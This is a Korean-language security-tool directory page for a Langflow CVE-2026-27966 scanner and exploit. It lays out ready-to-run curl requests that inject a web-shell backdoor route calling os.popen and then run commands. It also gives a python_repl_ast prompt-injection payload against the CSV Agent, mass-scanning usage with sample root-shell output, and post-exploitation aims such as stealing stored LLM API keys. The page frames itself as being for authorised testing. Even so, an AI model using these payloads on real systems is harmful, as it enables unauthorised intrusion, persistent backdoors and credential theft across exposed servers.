Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-27966 — Langflow < 1.8.0을 위한 사전 인증 RCE 스캐너 — Route Injection + Vertex Injection → 코드 실행 (CVSS 9.8) | Kitploit
도구/GitHubGitHub/shinthink/cve-2026-27966
ReconnaissanceVulnerability ScannersPayload GenerationExploitationWeb Application ExploitationPenetration TestingCommand and ControlAI Security
GitHubshinthink/cve-2026-27966

CVE-2026-27966

Langflow < 1.8.0을 위한 사전 인증 RCE 스캐너 — Route Injection + Vertex Injection → 코드 실행 (CVSS 9.8)

저장소 보기
232개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2026-27966 — Langflow 원격 코드 실행 스캐너

인증 전 라우트 인젝션 + 버텍스 인젝션 → 파이썬 코드 실행


개요

CVE-2026-27966은 Langflow 1.8.0 이전 버전에서 발견된 심각도(CVSS 9.8)의 인증 전 원격 코드 실행 취약점입니다. 이 취약점은 CSV Agent 컴포넌트에 allow_dangerous_code=True가 하드코딩되어 있어 LangChain의 python_repl_ast 도구가 인증되지 않은 프롬프트 인젝션에 노출됨으로써 발생합니다.

또한 여러 API 엔드포인트에 적절한 인증이 없어 CSV Agent가 구성되지 않은 인스턴스에서도 직접 라우트 인젝션 및 플로우 버텍스 인젝션이 가능합니다.

영향받는 버전

Langflow 버전상태
< 1.8.0취약
>= 1.8.0패치됨

공격 벡터

이 스캐너는 세 가지 상이한 익스플로잇 경로를 테스트합니다:

1. 라우트 인젝션 (auto_login 우회)

root@kitploit:~
GET  /api/v1/auto_login          → 세션/API 키 획득
POST /api/v1/custom_component    → 백도어 라우트 등록
GET  /api/{backdoor}?c=command   → RCE

2. 직접 라우트 인젝션 (API 키 없음)

root@kitploit:~
POST /api/v1/custom_component    → 백도어 라우트 등록
GET  /api/{backdoor}?c=command   → RCE

3. 빌드 버텍스 인젝션 (인증 없음)

root@kitploit:~
GET  /api/v1/flows/basic_examples  → 플로우 UUID 추출 (26개 노출)
POST /api/v1/build/{UUID}/vertices → 악성 버텍스 인젝션
POST /api/v1/run/{UUID}            → 버텍스 코드 실행 → RCE

취약점 메커니즘

근본 원인

src/lfx/src/lfx/components/langchain_utilities/csv_agent.py에서 CSV Agent 노드는 allow_dangerous_code=True를 하드코딩하여 LangChain의 python_repl_ast 도구를 자동으로 노출합니다:

root@kitploit:~
agent_kwargs = {
    "verbose": self.verbose,
    "allow_dangerous_code": True,  # 하드코딩됨 — UI를 통해 비활성화 불가
}
agent_csv = create_csv_agent(..., **agent_kwargs)

이로 인해 CSV Agent에 도달하는 모든 프롬프트가 다음을 통해 임의의 Python 코드를 실행할 수 있습니다:

root@kitploit:~
Action: python_repl_ast
Action Input: __import__("os").system("command")

인증되지 않은 API 표면

Langflow REST API는 인증 없이 여러 엔드포인트를 노출합니다:

auto_login을 통한 인증 우회

auto_login이 활성화된 인스턴스(많은 Docker 배포에서 기본값)에서 공격자는 유효한 세션 및 API 키를 얻습니다:

root@kitploit:~
curl -sk 'https://target.com/api/v1/auto_login'
# 세션 반환 (access_token 포함) → 전체 API 접근

유효한 API 키를 사용하면 공격자는 POST /api/v1/custom_component를 사용하여 서버 재시작까지 메모리에 유지되는 백도어 FastAPI 라우트를 등록할 수 있습니다:

root@kitploit:~
from fastapi import APIRouter, Query
router = APIRouter()
@router.get("/sh")
async def cmd(c: str = Query("")):
    import os
    return os.popen(c).read()
app.include_router(router, prefix="/api")

CVSS 9.8인 이유


설치

root@kitploit:~
git clone https://github.com/shinthink/CVE-2026-27966.git
cd CVE-2026-27966
pip install -r requirements.txt

사용법

root@kitploit:~
# 단일 대상
python cve_2026_27966.py -t target.com:7860

# 대량 스캔
python cve_2026_27966.py -f targets.txt

# 대량 스캔 + 결과 저장
python cve_2026_27966.py -f targets.txt -o rce.txt

# 탐지만 수행 (익스플로잇 건너뜀)
python cve_2026_27966.py -f targets.txt --no-exploit

# 상세 출력
python cve_2026_27966.py -f targets.txt -v

인수

root@kitploit:~
  -t, --target      단일 대상 (IP:port 또는 도메인)
  -f, --file        대상 목록, 한 줄에 하나씩
  -o, --output      RCE 결과를 파일에 저장
  --threads         동시 작업자 수 (기본값: 30)
  --no-exploit      탐지만 수행, RCE 시도 건너뜀
  -v, --verbose     RCE 대상이 아닌 결과도 모두 표시

개념 증명

탐지 및 익스플로잇

root@kitploit:~
$ python cve_2026_27966.py -t target.com:7860 -v
root@kitploit:~
  CVE-2026-27966 — Langflow RCE 스캐너
  CVSS 9.8 | 인증 전 | 라우트 인젝션 → RCE

  호스트   : target.com:7860
  Langflow : YES v1.2.0
  취약     : YES
  API 키   : 필요 없음
  RCE      : YES
  출력     : uid=0(root) gid=0(root) groups=0(root)
  시간     : 12.3s

대량 스캔 출력

root@kitploit:~
  CVE-2026-27966 Langflow RCE 스캐너
  대상: 4127 | 스레드: 30 | 익스플로잇: ON
  -------------------------------------------------------

  [RCE]  192.168.10.50     v1.2.0    7.3s
         uid=0(root) gid=0(root) groups=0(root)
  [AUTH] target.internal:4433 v1.2.0   14.1s  (API 키)
  [500/4127] 스캔 중... (12%)

  -------------------------------------------------------
  합계: 4127 | Langflow: 47 | RCE: 3 | API 보호: 41
  -------------------------------------------------------

수동 익스플로잇

1단계 — Langflow 탐지

root@kitploit:~
curl -sk 'https://target.com/api/v1/version'
# {"version":"1.2.0","main_version":"1.2.0","package":"Langflow"}

2단계 — 플로우 UUID 추출

root@kitploit:~
curl -sk 'https://target.com/api/v1/flows/basic_examples/' | jq '.[0].id'
# "bb0a7390-22a1-4a2e-8d7c-15463e53d9f2"

3단계 — 백도어 버텍스 인젝션

root@kitploit:~
curl -sk -X POST 'https://target.com/api/v1/build/{UUID}/vertices' \
  -H 'Content-Type: application/json' \
  -d '{"id":"bkdr","type":"CustomComponent","data":{"code":"from fastapi import APIRouter\nrouter=APIRouter()\[email protected](\"/sh\")\nasync def cmd(c:str=\"\"):import os;return os.popen(c).read()\napp.include_router(router,prefix=\"/api\")","display_name":"X"}}'

4단계 — 명령 실행

root@kitploit:~
curl -sk 'https://target.com/api/sh?c=id;hostname;uname -a'

영향

성공적인 익스플로잇은 Langflow Docker 컨테이너에서 루트로 원격 코드 실행을 가능하게 합니다. 그로부터 공격자는 다음을 수행할 수 있습니다:

  • Langflow의 SQLite 데이터베이스에서 API 키 추출 (OpenAI, Anthropic, Gemini 등)
  • 연결된 벡터 데이터베이스 및 외부 서비스 접근
  • 커스텀 컴포넌트를 통해 지속적 백도어 배포
  • 내부 네트워크로 피벗
  • 암호화폐 채굴기 또는 C2 인프라 배포

면책 조항

교육 및 승인된 테스트 목적으로만 사용하십시오.

이 소프트웨어는 승인된 침투 테스트를 수행하는 보안 전문가, 자체 인프라를 감사하는 조직, 그리고 취약점 익스플로잇을 연구하는 연구자를 대상으로 합니다.

컴퓨터 시스템에 대한 무단 접근은 불법이며 다음을 위반할 수 있습니다:

  • 미국: Computer Fraud and Abuse Act (18 U.S.C. 1030)
  • 인도네시아: UU ITE Pasal 30 & 46
  • 유럽 연합: Directive 2013/40/EU
  • 영국: Computer Misuse Act 1990

저자는 오용에 대한 책임을 지지 않습니다. 이 소프트웨어를 사용함으로써 귀하는 자신의 행동에 대한 전적인 책임을 수락합니다.


참고 자료

리소스링크

이 프로젝트는 Langflow 또는 Logspace와 제휴 관계가 아닙니다.

도구 다운로드
엔드포인트인증노출되는 데이터
GET /api/v1/version없음Langflow 버전
GET /api/v1/health없음인스턴스 상태
GET /api/v1/flows/basic_examples/없음26개의 예제 플로우 UUID + 구조
POST /api/v1/build/{uuid}/vertices없음임의 코드 인젝션 허용
POST /api/v1/users/없음사용자 생성 (비활성)
GET /openapi.json없음전체 API 문서
지표값
공격 벡터네트워크 (원격)
공격 복잡성낮음
필요 권한없음
사용자 상호작용없음
범위변경되지 않음
기밀성높음
무결성높음
가용성높음
GitHub 보안 권고GHSA-3645-fxcv-hqr4
수정 커밋d8c6480d
Metasploit 모듈Rapid7
NVD 항목CVE-2026-27966